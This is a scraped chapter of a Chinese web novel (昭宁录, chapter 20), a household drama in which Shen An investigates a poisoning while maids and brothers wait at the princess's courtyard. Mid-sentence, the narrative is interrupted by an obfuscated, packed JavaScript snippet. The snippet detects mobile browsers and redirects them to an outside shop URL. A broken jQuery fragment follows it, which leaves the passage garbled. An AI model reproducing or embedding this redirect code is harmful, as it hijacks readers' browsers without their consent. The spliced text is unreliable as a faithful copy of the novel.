文趣网 > 其他小说 > 昭宁录 > 20.第 20 章
    夜幕下,木质的支摘窗半开着,青色的月光从窗棂间漏进来。

    她脑海中浮现出的,是他在散乱的灯笼中撤开扶着纸伞的手,是他独自走入雨帘中的那一幕。

    她甚至想到,他这样一个怕黑之人,回到住处后旧疾复发,究竟是怎样的动静,才惊醒了同他隔着几道院墙的公主……

    沈桉不深谙医术,她不知“旧疾”这一字眼的可怕之处,不懂那是从出生起刻在身上的一道符咒,一个丝毫不注意就跑出来,你拿他一点办法都没有。

    可它会叫你时时痛苦,在每一次的病发之时折磨你,让你牢牢记住,且永远无法摆脱。

    她屋里是没有蜡烛的,那些后知后觉的泪水,在黑夜里挥发着、挥发着,都融入到姣姣月色中去了。

    次日,天气由晴转阴,氤氲的云层裹着片片青白色,在天际间回旋。

    正院。

    天色微亮,公主将起,宁安便把新浣洗的粤绣牡丹棉被换上了,又将案上的烛火挨个点着,抱着棉被出去的时候,看见素方正站在院中间,正朝着什么东西发呆。

    她一时不解:“大早上的,这是怎么了,发什么呆呢?”

    素方没有回头,她知道公主还未到梳妆的时候,可她心中装着另外一件事情:“奇怪了,今日八小姐怎么还没来,她平日里哪次不是来得最早,今儿是怎么了?”

    听了她的话,宁安只觉得好笑:“傻妹妹,人家八小姐不过是记着咱们公主的恩情,因而特地早来拜见,你这副神情,倒像是小姐是专程来看你似的,若是今儿八小姐不来,公主不怎么样。你岂非要伤心死了?”

    这话算说到素方心里去了,她叹了口气。

    见她这样,宁安不得不劝道:“妹妹,你何必这样,身为丫鬟,咱们该做好自己的事情,不落人闲话,保住性命便可了,八小姐待人再好再体贴,她也是小姐,与我们身份不同的,你再怎样为她掏心掏肺,她也不会记得我们的好的,反而说我们做丫鬟的不懂规矩,你我一同服侍公主,咱们姐妹一场,我才与你说这些真心话,若是你肯听进去几句,也不旺我这个做姐姐的费心了。”

    安慰的话夹杂着院中流水潺潺,落入素方耳中,她心中感激,便拿过宁安怀中的棉被:“不说了,我去换被子,姐姐歇歇吧!”

    “嗯。”宁安很欣慰,“别说八小姐,即便……”

    “吱哑——”

    她话音未落,从隔壁院落传来关门声,楠木门开的动静在寂静的清晨格外惹眼。

    宁安的话被打断,待她想起再说的时候素方已经去忙活了,再说她这样的性子,即便告诉了她,也不一定听的。

    “宁安,你去看看,是不是三公子回来了?”

    这时,从屋里传来公主的声音,想必公主也是听到了方才的动静才这样吩咐的。

    “哎!”

    宁安答应了一声便往外走去。

    铺了玉石的道路两旁,不知从哪里生出几棵杂草,上面浮着的几滴露水不知怎地落在了她的裙角,感受到小腿传来的湿润感觉,宁安心里便不大安乐。

    这大清早的,会是谁呢?

    “宁安姐姐!”

    她推开门,正提着裙角准备下台阶的时候,便听见春桃清脆的声音从不远处传来。

    宁安抬头望去,真是春桃,正挥着手帕冲自己笑呢。

    “宁安姐姐哪里去?”

    春桃是聪明的,她知道宁安出来的目的,却故意这样问。

    宁安笑笑,语气平和:“春桃,你为何在这里?”

    春桃回头,冲里面努努嘴:“陪我们小姐来的。”

    她这样一说,宁安便知道里面的是八小姐了,既如此,她也不必费心去看了。

    于是宁安又笑了笑:“那我就不打扰了,她怎么留你一个人在外面,这天色怪冷的呢!”

    听了她的话,春桃才注意到自己身上的衣裳是有些单薄了,她不受控制地缩了缩:“是我自己请求在外候着的,多谢姐姐关心。”

    其实是小姐特地要求,今日不许她跟着的,可春桃不愿这样说,她不愿叫人误会小姐。

    “哒哒哒……”

    缓缓的马蹄声由远而近,在正院的长廊中回响着,两人被着不小的动静注意,不约而同地回了头。

    “是七公子!”看到来人,宁安忙跪地,语气欣喜:“公子今日来得倒早!”

    “不必跪,怪冷的。”沈砚翻身下马,他今日一袭素色紫锻长袍,身上的流苏被风吹得扬了起来,淡淡的茶香便扑面而来。

    此刻宁安身上穿着的,是一袭米白色的梨花锻襦裙,这是前几日去七公子房中时,恰好看见七公子书房中有一梨花书案,因而叫裁缝特意赶制的,每每穿在身上,便觉得和公子的距离又进了一步。

    听公子的语气,应是注意到自己的衣着了,宁安心里高兴,忙站了起来:“公子来向公主请安的吧,奴婢这就带您进去!”

    阴暗的长廊内,风声不觉,却叫人身上寒冷。

    在沈砚身侧的马儿,许是停留得久了心里无聊,在地上轻轻地摆弄着两个后蹄子。

    “不了,我在等人。”沈砚说。

    七公子的声音和平常一样,轻轻地、淡淡地,听起来并不凶,却总叫人生出一股疏离之感。

    对于他的拒绝,宁安早已习惯,她没有想到的是他这次找的理由。

    等人?

    他在等谁?

    被这个念头裹挟着,宁安不愿意离去了:“七公子总归是要来公主院里请安的,奴婢陪您等便是。”

    “宁安,你有事?”

    沈砚回头,他敏锐地察觉今日这个小丫鬟的状态不大对。

    宁安局促:“不是的,奴婢……”

    沈砚:“无事就进去吧,你放心,若母亲怪罪下来我担着就是了,这天怪冷,我来请安一趟,倒是叫你们在外候着,白白挨冻。”

    这边宁安悻悻地进去了,在三公子别苑里,却是另一番光景。

    与七公子院里的青柏翠竹不同,三公子房中多了些新鲜玩意儿,许是已娶妻生子的缘故,一进门香气缭绕,五间厢房里人头攒动,奶娘奴婢通房丫鬟什么的,孩子的嬉笑声、吵闹声不绝于耳。

    看着李氏微微隆起的肚子,沈桉笑着搭话:“嫂嫂已有两个月的身孕了吧。”

    李氏点头:“是呢,我就盼着,能再生一个女儿,儿女双全的多好,是不是?”

    对这个突然到访的妹妹,她虽疑惑,却也只能随便应付着。

    “是呢,儿女双全自是好的。”她应和着,装作不经意地问起,“对了,这几日怎么不见三哥哥,嫂嫂怀孕辛苦,三哥哥竟也没陪着?”

    “你三哥哥是个闲不住的,何况身为长子,要担负的责任就更多了,前几日被召入宫中听训了,毕竟……”

    后面的话,即便李氏不说,沈桉也猜得出了。

    沈乾就要袭爵了。

    “听闻前几日三哥哥关怀九弟,特地送来参汤滋补,妹妹感激不尽,因而特来拜见,谁知哥哥竟不在,当真是可惜。”沈桉赔着笑,从袖中掏出来一对精致的小虎鞋,“妹妹没什么要感谢的,只听闻小侄子已学会走路,这双小虎鞋细软不伤脚,幼童体弱,因而将鞋面用鬼针草

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17579683|205020||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    枝叶浸泡,对身体可大有助益呢。”

    她一边说,一边观察着李氏的反应。

    三公子不在,若下毒的是李氏,她听了这药草一类的,总会显出不自然来。

    “那日同柳姨娘一起,见九弟气色不好,才送去了一碗,不知九弟现在如何了,倒是妹妹有心。”李氏接过鞋子,轻抚着这细密的针脚,不住地夸赞,“一看就是好的,我给福儿穿了,他定然乐得合不拢嘴了,妹妹还未向母亲请安吧,不如一同去?”

    言语间,两人说笑着一同出了门。

    与七公子雕着翠竹的楠木门不同,三公子的院门更是别致,只见群山矗立,五湖四海尽收眼底,一眼望去,炫丽绝巘。

    推开这层层山峦,他的脸便映了出来。

    “呦?”

    见了沈砚,李氏有些意外:“七弟特地在此等候?”

    虽说着话,李氏的步子可一点没停,她挺着大肚子,越过那层层栏杆,炫耀似的往公主院里去了。

    走了几步,李氏却意犹未尽地回头,对沈桉笑道:“妹妹的手真巧,日后咱们公子回来,我定为妹妹好好美言几句。”

    沈桉跟在后面,她似乎听到身后的脚步声变得轻了。

    亦……放慢了。

    是否被马蹄声盖住了呢?

    “八妹妹不是要向母亲请安吗,抓紧些走吧。”

    正出神着,李氏一把抓住自己的手,强拉着她跟上自己的脚步。

    两人的身影,就这样很快地消失在了游廊间。

    春桃没有跟上,她看着沈砚所换的崭新的装束,方才他骑着马从长街过来的时候,何等地意气风发。

    此时此刻,天气更阴了,连七公子眼底的雾霾更重了。

    她心里不忍,于是开口:“公子,我们小姐不是这样的人。”

    虽然小姐今日举动有些奇怪,但她一定有自己的思量的。

    沈砚无言。

    她说要自己调查,原来是求助了三哥。

    也好,也好,总比干等着好。

    想到这里,他欣慰地一笑:“去吧,春桃。”

    另一边,沈桉被李氏强拉着来到公主屋里,她们走得急,倒是将公主吓了一跳,忙叫人上前扶着。

    “那院有动静,我只当是乾儿从宫里回来了,对了,砚儿平日请安都是最早的,今儿倒是你们两个先来。”

    “许是七弟这几日身上不大安乐吧。”

    陈年的青花瓷碗里,隔着新好的热茶,李氏喝了,才恭恭敬敬地回道。

    侯爵之位落空,可不是要不安乐了。

    “并非如此的,母亲。”

    突然,从身侧传来一句凛然正气的拒绝声。

    闻言,李氏愕然,她不可置信地转头看向说话的人,竟然是沈桉,是方才费尽心思巴结自己的沈桉!

    她凭何?

    “哦?”从前没有见过沈桉如此顶撞,公主有些意外,她缓缓放下手中的团扇,“桉桉,那你跟母亲说说,你觉着你七哥哥晚到是什么缘故?”

    原本半支着的窗子因气候不好放了下来,少了些新鲜气息,屋里沉闷得很。

    大伙都耐着性子,听她的回应。

    沈桉假装看不见李氏嫌恶的眼神,她站了起来,字字句句,掷地有声。

    “七哥哥一向身体康健,他今日是为等我,才错过了同母亲请安的。”

    “砰——”

    就在这时,一缕清风将房门推开了,屋内的气息顿时清新了。

    沉稳的脚步声缓缓而来:“不错,儿子身上并无不安乐,从前如是,如今亦然。”